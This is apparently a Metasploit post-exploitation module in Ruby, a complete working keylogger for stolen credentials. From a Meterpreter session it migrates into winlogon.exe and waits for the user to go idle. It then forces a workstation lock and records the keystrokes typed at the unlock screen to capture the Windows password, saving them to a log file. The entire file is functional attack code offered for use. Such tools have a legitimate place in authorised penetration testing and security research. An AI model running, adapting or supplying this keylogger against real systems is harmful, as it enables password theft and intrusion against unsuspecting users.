##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
        'Description' => %q{
          This module migrates and logs Microsoft Windows user's passwords via
          Winlogon.exe using idle time and natural system changes to give a
          false sense of security to the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'mubix', 'cg' ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_railgun_api
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_ui_get_idle_time
              stdapi_ui_get_keys_utf8
              stdapi_ui_start_keyscan
              stdapi_ui_stop_keyscan
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),
        OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),
        OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),
        OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),
        OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
      ]
    )
  end

  def check_admin
    status = client.railgun.shell32.IsUserAnAdmin()
    return status['return']
  end

  def get_winlogon
    winlogon = []
    session.sys.process.get_processes.each do |x|
      if x['name'].downcase == 'winlogon.exe'
        winlogon << x
      end
    end
    if winlogon.empty?
      print_status('Winlogon not found! Exiting')
      return 'exit'
    elsif winlogon.size == 1
      return winlogon[0]['pid']
    else
      print_error('Multiple WINLOGON processes found, run manually and specify pid')
      print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')
      winlogon.each do |tp|
        print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
      end
      return 'exit'
    end
  end

  # Function for starting the keylogger
  def startkeylogger(session)
    print_status('Starting the keystroke sniffer...')
    session.ui.keyscan_start
    return true
  rescue StandardError
    print_error('Failed to start Keylogging!')
    return false
  end

  # Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
  def keycap(session, keytime, logfile)
    rec = 1
    # Creating DB for captured keystrokes
    print_status("Keystrokes being saved in to #{logfile}")
    # Inserting keystrokes every number of seconds specified
    print_status('Recording ')
    while rec == 1
      # getting Keystrokes
      data = session.ui.keyscan_dump
      outp = ''
      data.unpack('n*').each do |inp|
        fl = (inp & 0xff00) >> 8
        vk = (inp & 0xff)
        kc = VirtualKeyCodes[vk]

        f_shift = fl & (1 << 1)
        f_ctrl	= fl & (1 << 2)
        f_alt	= fl & (1 << 3)

        if kc
          name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
          case name
          when /^.$/
            outp << name
          when /shift|click/i
          when 'Space'
            outp << ' '
          else
            outp << " <#{name}> "
          end
        else
          outp << ' <0x%.2x> ' % vk
        end
      end
      select(nil, nil, nil, 2)
      file_local_write(logfile, "#{outp}\n")
      if !outp.nil? && (outp.chomp.lstrip != '')
        print_status("Password?: #{outp}")
      end
      still_locked = 1
      # Check to see if the screen saver is on, then check to see if they have logged back in yet.
      screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
      if screensaver == 0
        still_locked = client.railgun.user32.GetForegroundWindow()['return']
      end
      if still_locked == 0
        print_status('They logged back in, the last password was probably right.')
        raise 'win'
      end
      currentidle = session.ui.idle_time
      if screensaver == 0
        print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
      else
        print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
      end
      select(nil, nil, nil, keytime.to_i)
    end
  rescue ::Exception => e
    if e.message != 'win'
      print_line
      print_status("#{e.class} #{e}")
    end
    print_status('Stopping keystroke sniffer...')
    session.ui.keyscan_stop
  end

  def run
    # Log file variables
    host = session.session_host
    port = session.session_port
    filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')	# Create Filename info to be appended to downloaded files
    logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker')	# Create a directory for the logs
    ::FileUtils.mkdir_p(logs)	# Create the log directory
    logfile = logs + ::File::Separator + host + filenameinfo + '.txt'	# Logfile name

    # Make sure we are on a Windows host
    if client.platform != 'windows'
      print_error('This module does not support this platform.')
      return
    end

    # Check admin status
    admin = check_admin
    if admin == false
      print_error('Must be an admin to migrate into Winlogon.exe, exiting')
      return
    end

    mypid = session.sys.process.getpid
    if datastore['PID'] == 0
      targetpid = get_winlogon
      if targetpid == 'exit'
        return
      end

      print_status("Found WINLOGON at PID:#{targetpid}")
    else
      targetpid = datastore['PID']
      print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
    end

    if mypid == targetpid
      print_status('Already in WINLOGON no need to migrate')
    else
      print_status("Migrating from PID:#{mypid}")
      begin
        session.core.migrate(targetpid)
      rescue StandardError
        print_error('Unable to migrate, try getsystem first')
        return
      end
      print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
    end

    # Override SystemParametersInfo Railgun call to check for Screensaver
    # Unfortunately 'pvParam' changes it's type for each uiAction so
    # it cannot be changed in the regular railgun defs
    client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [
      ['DWORD', 'uiAction', 'in'],
      ['DWORD', 'uiParam', 'in'],
      ['PBLOB', 'pvParam', 'out'],
      ['DWORD', 'fWinIni', 'in']
    ])

    print_good("Keylogging for #{client.info}")
    file_local_write(logfile, "#{client.info}\n")
    if datastore['WAIT']
      print_status('Waiting for user to lock out their session')
      locked = false
      while locked == false
        if client.railgun.user32.GetForegroundWindow()['return'] != 0
          locked = true
          print_status('Session has been locked out')
        else
          # sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
          select(nil, nil, nil, 2)
        end
      end
    else
      currentidle = session.ui.idle_time
      print_status("System has currently been idle for #{currentidle} seconds")
      while currentidle <= datastore['LOCKTIME']
        print_status("Current Idle time: #{currentidle} seconds")
        select(nil, nil, nil, datastore['HEARTBEAT'])
        currentidle = session.ui.idle_time
      end
      client.railgun.user32.LockWorkStation()
      if client.railgun.user32.GetForegroundWindow()['return'] == 0
        print_error('Locking the workstation falied, trying again..')
        client.railgun.user32.LockWorkStation()
        if client.railgun.user32.GetForegroundWindow()['return'] == 0
          print_error('The system will not lock this session, nor will it be used for user login, exiting...')
          return
        else
          print_status('Locked this time, time to start keyloggin...')
        end
      end
    end

    if startkeylogger(session)
      keycap(session, datastore['INTERVAL'], logfile)
    end
  end
end
